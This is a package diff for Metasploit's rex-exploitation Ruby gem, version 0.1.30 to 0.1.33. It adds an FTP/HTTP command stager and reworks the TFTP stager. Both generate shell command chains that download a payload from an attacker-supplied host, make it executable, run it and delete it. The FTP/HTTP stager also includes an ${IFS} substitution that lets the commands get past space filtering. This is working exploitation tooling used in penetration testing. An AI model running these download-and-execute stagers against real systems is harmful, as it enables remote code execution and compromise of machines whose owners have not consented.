rex-exploitation 0.1.30 → 0.1.33

checksums.yaml

@@ -1,7 +1,7 @@
 ---
 SHA256:
-  metadata.gz: 77bb3f87c3d9bebd080b5e257a82692a2ecc3901e5f376ac698b64d0e604cef7
-  data.tar.gz: 04c01acf31fc33e6da0a2b05ea65c3473f8705f240db084d580b5748d875de81
+  metadata.gz: 4567513652f9feb000ed35325302b3ae1401ccd716dc2f239804d3b18d873d3c
+  data.tar.gz: '095d0d2685bf3fde588e4fd2d366df900a1e3950fe810c9d6adae2b9d1ca7b8d'
 SHA512:
-  metadata.gz: 338f50e19047283b98d3bce8fc511718c73b83977438a1d96eb669003b4d90a52a55fbc260ece6a69be28a6ed150ec721703d2c91914a3c36403f1a24861990b
-  data.tar.gz: 4b8871623b46e3542cf4ccdeab07e471b3d088f5808e3e1360fc37359739522112a463b918476c99ac865f6ad4704ed136e1f74861a7a4d39f9deab16df91370
+  metadata.gz: 897d556a93ddf347c0a42cc2c581b9daf3b52bdc76775a66c7bad6a26de96d49f2555c01d69becac1456528cdd6d645942db557096ea70c7ad142f51f5d01cef
+  data.tar.gz: 6400490f470c42b81d26d7d6e4ce0ef3bee7baf27a331d7408d813a3eb6fc8f0ee8529ead6b531f4c82b52bb814a409fb7495170a1ed98227310f1933b7d8826

data/lib/rex/exploitation/cmdstager/ftp_http.rb

@@ -0,0 +1,49 @@
+# -*- coding: binary -*-
+
+class Rex::Exploitation::CmdStagerFtpHttp < Rex::Exploitation::CmdStagerBase
+
+  def http?
+    true
+  end
+
+  def user_agent
+    /ftp/i
+  end
+
+  def generate(opts = {})
+    if opts[:payload_uri].nil?
+      raise "#{self.class.name}##{__callee__} missing opts[:payload_uri]"
+    end
+
+    opts[:temp] ||= '/tmp'
+    opts[:file] ||= Rex::Text.rand_text_alpha(8)
+    @payload_path = "#{opts[:temp]}/#{opts[:file]}"
+
+    super
+  end
+
+  def generate_cmds_payload(opts)
+    # -o: output file name (argument must be before URL)
+    ["ftp -o #{@payload_path} #{opts[:payload_uri]}"]
+  end
+
+  def generate_cmds_decoder(opts)
+    cmds = []
+
+    cmds << "chmod +x #{@payload_path}"
+    cmds << @payload_path
+    cmds << "rm -f #{@payload_path}" unless opts[:nodelete]
+
+    cmds
+  end
+
+  def compress_commands(cmds, opts)
+    cmds.each { |cmd| cmd.gsub!(/\s+/, '${IFS}') } if opts[:nospace]
+    super
+  end
+
+  def cmd_concat_operator
+    ';'
+  end
+
+end

data/lib/rex/exploitation/cmdstager/tftp.rb

@@ -13,7 +13,7 @@ module Exploitation
 # be written to disk and executed.
 #
 # This particular version uses tftp.exe to download a binary from the specified
-# server.  The original file is preserve, not encoded at all, and so this version
+# server. The original file is preserved, not encoded at all, and so this version
 # is significantly simpler than other methods.
 #
 # Requires: tftp.exe, outbound udp connectivity to a tftp server
@@ -24,14 +24,24 @@ module Exploitation
 
 class CmdStagerTFTP < CmdStagerBase
 
-  def initialize(exe)
-    super
-    @payload_exe = Rex::Text.rand_text_alpha(8) + ".exe"
+  def generate(opts = {})
+    if opts[:tftphost].nil?
+      raise "#{self.class.name}##{__callee__} missing opts[:tftphost]"
+    end
+
+    opts[:linemax] ||= @linemax
+    opts[:file] ||= "#{Rex::Text.rand_text_alpha(8)}.exe"
+    opts[:temp] ||= '%TEMP%'
+
+    @payload_exe = opts[:file]
+    @payload_path = opts[:temp] == '.' ? opts[:file] : "#{opts[:temp]}\\#{opts[:file]}"
+
+    generate_cmds(opts)
   end
 
   def setup(mod)
     self.tftp = Rex::Proto::TFTP::Server.new
-    self.tftp.register_file(Rex::Text.rand_text_alphanumeric(8), exe)
+    self.tftp.register_file(@payload_exe, exe)
     self.tftp.start
     mod.add_socket(self.tftp) # Hating myself for doing it... but it's just a first demo
   end
@@ -40,28 +50,30 @@ class CmdStagerTFTP < CmdStagerBase
     self.tftp.stop
   end
 
-  #
-  # We override compress commands just to stick in a few extra commands
-  # last second..
-  #
-  def compress_commands(cmds, opts)
-    # Initiate the download
-    cmds << "tftp -i #{opts[:tftphost]} GET #{opts[:transid]} #{@tempdir + @payload_exe}"
-
-    # Make it all happen
-    cmds << "start #{@tempdir + @payload_exe}"
-
-    # Clean up after unless requested not to..
-    if (not opts[:nodelete])
-      # XXX: We won't be able to delete the payload while it is running..
+  def generate_cmds_payload(opts)
+    cmds = []
+    # We can skip the destination argument if we're writing to the working directory,
+    # as tftp defaults to writing the file to the current directory with the same filename.
+    if opts[:file] == @payload_path
+      cmds << "tftp -i #{opts[:tftphost]} GET #{opts[:file]}"
+    else
+      cmds << "tftp -i #{opts[:tftphost]} GET #{opts[:file]} \"#{@payload_path}\""
     end
+    cmds
+  end
+
+  def generate_cmds_decoder(opts)
+    cmds = []
+    cmds << "start \"#{@payload_path}\""
+    # NOTE: We can't delete the payload while it is running.
+    cmds << "del \"#{@payload_path}\"" unless opts[:nodelete]
+    cmds
+  end
 
-    super
+  def cmd_concat_operator
+    ' & '
   end
 
-  # NOTE: We don't use a concatenation operator here since we only have a couple commands.
-  # There really isn't any need to combine them. Also, the ms01_026 exploit depends on
-  # the start command being issued separately so that it can ignore it :)
   attr_reader :exe
   attr_reader :payload_exe
   attr_accessor :tftp

data/lib/rex/exploitation/cmdstager.rb

@@ -14,3 +14,4 @@ require 'rex/exploitation/cmdstager/curl'
 require 'rex/exploitation/cmdstager/fetch'
 require 'rex/exploitation/cmdstager/lwprequest'
 require 'rex/exploitation/cmdstager/psh_invokewebrequest'
+require 'rex/exploitation/cmdstager/ftp_http'

data/lib/rex/exploitation/version.rb

@@ -1,5 +1,5 @@
 module Rex
   module Exploitation
-    VERSION = "0.1.30"
+    VERSION = "0.1.33"
   end
 end

metadata

@@ -1,7 +1,7 @@
 --- !ruby/object:Gem::Specification
 name: rex-exploitation
 version: !ruby/object:Gem::Version
-  version: 0.1.30
+  version: 0.1.33
 platform: ruby
 authors:
 - Metasploit Hackers
@@ -93,7 +93,7 @@ cert_chain:
   EknWpNgVhohbot1lfVAMmIhdtOVaRVcQQixWPwprDj/ydB8ryDMDosIMcw+fkoXU
   9GJsSaSRRYQ9UUkVL27b64okU8D48m8=
   -----END CERTIFICATE-----
-date: 2022-04-05 00:00:00.000000000 Z
+date: 2022-07-14 00:00:00.000000000 Z
 dependencies:
 - !ruby/object:Gem::Dependency
   name: rake
@@ -263,6 +263,7 @@ files:
 - lib/rex/exploitation/cmdstager/debug_write.rb
 - lib/rex/exploitation/cmdstager/echo.rb
 - lib/rex/exploitation/cmdstager/fetch.rb
+- lib/rex/exploitation/cmdstager/ftp_http.rb
 - lib/rex/exploitation/cmdstager/lwprequest.rb
 - lib/rex/exploitation/cmdstager/printf.rb
 - lib/rex/exploitation/cmdstager/psh_invokewebrequest.rb